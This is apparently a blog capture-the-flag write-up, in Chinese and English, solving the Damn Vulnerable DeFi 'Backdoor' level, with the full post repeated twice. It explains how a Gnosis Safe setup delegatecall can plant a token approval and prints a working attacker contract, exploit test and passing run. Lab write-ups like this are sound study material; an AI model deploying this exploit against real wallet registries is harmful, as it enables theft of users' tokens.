web3maxi
Share Dialog
Share Dialog
web3maxi
Subscribe to Runstar
Subscribe to Runstar
<100 subscribers
<100 subscribers
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
目标: 在一笔交易中取走WalletRegistry 合约中的所有资金
after(async function () {
/** SUCCESS CONDITIONS */
for (let i = 0; i < users.length; i++) {
let wallet = await this.walletRegistry.wallets(users[i]);
// User must have registered a wallet
expect(wallet).to.not.eq(
ethers.constants.AddressZero,
"User did not register a wallet",
);
// User is no longer registered as a beneficiary
expect(await this.walletRegistry.beneficiaries(users[i])).to.be.false;
}
// Attacker must have taken all tokens
expect(await this.token.balanceOf(attacker.address)).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});
GnosisSafeProxyFactory.sol 钱包代理工厂合约
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
通过createProxyWithNonce -> deployProxyWithNonce 创建Gnosis钱包代理合约
......
// Ensure initial calldata was a call to `GnosisSafe::setup`
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
......
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
if (initializer.length > 0) 表示传入了初始化payload
本关将传入setup 作为deployProxyWithNonce 的initializer 参数
GnosisSafe.sol Gnosis钱包逻辑合约,重点分析setup 函数
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
将接收到的to和data传入setupModules中
function setupModules(address to, bytes memory data) internal {
require(modules[SENTINEL_MODULES] == address(0), "GS100");
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
if (to != address(0))
// Setup has to complete successfully or transaction fails.
require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}
调用execute 执行delegatecall
contract Executor {
function execute(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 txGas
) internal returns (bool success) {
if (operation == Enum.Operation.DelegateCall) {
// solhint-disable-next-line no-inline-assembly
assembly {
success := delegatecall(txGas, to, add(data, 0x20), mload(data), 0, 0)
}
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
success := call(txGas, to, value, add(data, 0x20), mload(data), 0, 0)
}
}
}
}
创建Gnosis钱包代理合约时,通过initializer传入to, data在createProxyWithCallback -> setup 中设置恶意模块,模块功能为将DVT approve授权给攻击者
Gnosis钱包代理合约通过createProxyWithCallback 最终delegatecall恶意模块
拥有权限后发起转帐
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
interface ProxyFactory {
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) external returns (GnosisSafeProxy proxy);
}
contract WalletRegistryAttacker {
address public masterCopyAddress;
address public walletRegistryAddress;
ProxyFactory proxyFactory;
constructor(
address _proxyFactoryAddress,
address _walletRegistryAddress,
address _masterCopyAddress,
address _token
) {
proxyFactory = ProxyFactory(_proxyFactoryAddress);
walletRegistryAddress = _walletRegistryAddress;
masterCopyAddress = _masterCopyAddress;
}
function approve(address spender, address token) external {
IERC20(token).approve(spender, type(uint256).max);
}
function attack(
address tokenAddress,
address hacker,
address[] calldata users
) public {
for (uint256 i = 0; i < users.length; i++) {
address user = users[i];
address[] memory owners = new addressUnsupported embed;
owners[0] = user;
// 打包approve函数作为data传入setup中
bytes memory encodedApprove = abi.encodeWithSignature(
"approve(address,address)",
address(this),
tokenAddress
);
//执行后将delegatecall最终让钱包将DVT授权给攻击者
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(this),
encodedApprove,
address(0),
0,
0,
0
);
GnosisSafeProxy proxy = proxyFactory.createProxyWithCallback(
masterCopyAddress,
initializer,
0,
IProxyCreationCallback(walletRegistryAddress)
);
// 拿到权限后发起转帐
IERC20(tokenAddress).transferFrom(address(proxy), hacker, 10 ether);
}
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
this.attackerContract = await (
await ethers.getContractFactory("WalletRegistryAttacker", attacker)
).deploy(
this.walletFactory.address,
this.walletRegistry.address,
this.masterCopy.address,
this.token.address,
);
await this.attackerContract
.connect(attacker)
.attack(this.token.address, attacker.address, users);
});
运行通过
❯ yarn run backdoor
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/backdoor/backdoor.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/backdoor/backdoor.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Backdoor
✓ Exploit (505ms)
1 passing (2s)
Done in 5.87s.
Twitter: @0xRunstar
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
目标: 在一笔交易中取走WalletRegistry 合约中的所有资金
after(async function () {
/** SUCCESS CONDITIONS */
for (let i = 0; i < users.length; i++) {
let wallet = await this.walletRegistry.wallets(users[i]);
// User must have registered a wallet
expect(wallet).to.not.eq(
ethers.constants.AddressZero,
"User did not register a wallet",
);
// User is no longer registered as a beneficiary
expect(await this.walletRegistry.beneficiaries(users[i])).to.be.false;
}
// Attacker must have taken all tokens
expect(await this.token.balanceOf(attacker.address)).to.eq(AMOUNT_TOKENS_DISTRIBUTED);
});
GnosisSafeProxyFactory.sol 钱包代理工厂合约
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
通过createProxyWithNonce -> deployProxyWithNonce 创建Gnosis钱包代理合约
......
// Ensure initial calldata was a call to `GnosisSafe::setup`
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
......
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
if (initializer.length > 0) 表示传入了初始化payload
本关将传入setup 作为deployProxyWithNonce 的initializer 参数
GnosisSafe.sol Gnosis钱包逻辑合约,重点分析setup 函数
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);
if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}
将接收到的to和data传入setupModules中
function setupModules(address to, bytes memory data) internal {
require(modules[SENTINEL_MODULES] == address(0), "GS100");
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
if (to != address(0))
// Setup has to complete successfully or transaction fails.
require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}
调用execute 执行delegatecall
contract Executor {
function execute(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 txGas
) internal returns (bool success) {
if (operation == Enum.Operation.DelegateCall) {
// solhint-disable-next-line no-inline-assembly
assembly {
success := delegatecall(txGas, to, add(data, 0x20), mload(data), 0, 0)
}
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
success := call(txGas, to, value, add(data, 0x20), mload(data), 0, 0)
}
}
}
}
创建Gnosis钱包代理合约时,通过initializer传入to, data在createProxyWithCallback -> setup 中设置恶意模块,模块功能为将DVT approve授权给攻击者
Gnosis钱包代理合约通过createProxyWithCallback 最终delegatecall恶意模块
拥有权限后发起转帐
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
interface ProxyFactory {
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) external returns (GnosisSafeProxy proxy);
}
contract WalletRegistryAttacker {
address public masterCopyAddress;
address public walletRegistryAddress;
ProxyFactory proxyFactory;
constructor(
address _proxyFactoryAddress,
address _walletRegistryAddress,
address _masterCopyAddress,
address _token
) {
proxyFactory = ProxyFactory(_proxyFactoryAddress);
walletRegistryAddress = _walletRegistryAddress;
masterCopyAddress = _masterCopyAddress;
}
function approve(address spender, address token) external {
IERC20(token).approve(spender, type(uint256).max);
}
function attack(
address tokenAddress,
address hacker,
address[] calldata users
) public {
for (uint256 i = 0; i < users.length; i++) {
address user = users[i];
address[] memory owners = new addressUnsupported embed;
owners[0] = user;
// 打包approve函数作为data传入setup中
bytes memory encodedApprove = abi.encodeWithSignature(
"approve(address,address)",
address(this),
tokenAddress
);
//执行后将delegatecall最终让钱包将DVT授权给攻击者
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(this),
encodedApprove,
address(0),
0,
0,
0
);
GnosisSafeProxy proxy = proxyFactory.createProxyWithCallback(
masterCopyAddress,
initializer,
0,
IProxyCreationCallback(walletRegistryAddress)
);
// 拿到权限后发起转帐
IERC20(tokenAddress).transferFrom(address(proxy), hacker, 10 ether);
}
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
this.attackerContract = await (
await ethers.getContractFactory("WalletRegistryAttacker", attacker)
).deploy(
this.walletFactory.address,
this.walletRegistry.address,
this.masterCopy.address,
this.token.address,
);
await this.attackerContract
.connect(attacker)
.attack(this.token.address, attacker.address, users);
});
运行通过
❯ yarn run backdoor
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/backdoor/backdoor.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/backdoor/backdoor.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Backdoor
✓ Exploit (505ms)
1 passing (2s)
Done in 5.87s.
Twitter: @0xRunstar
No activity yet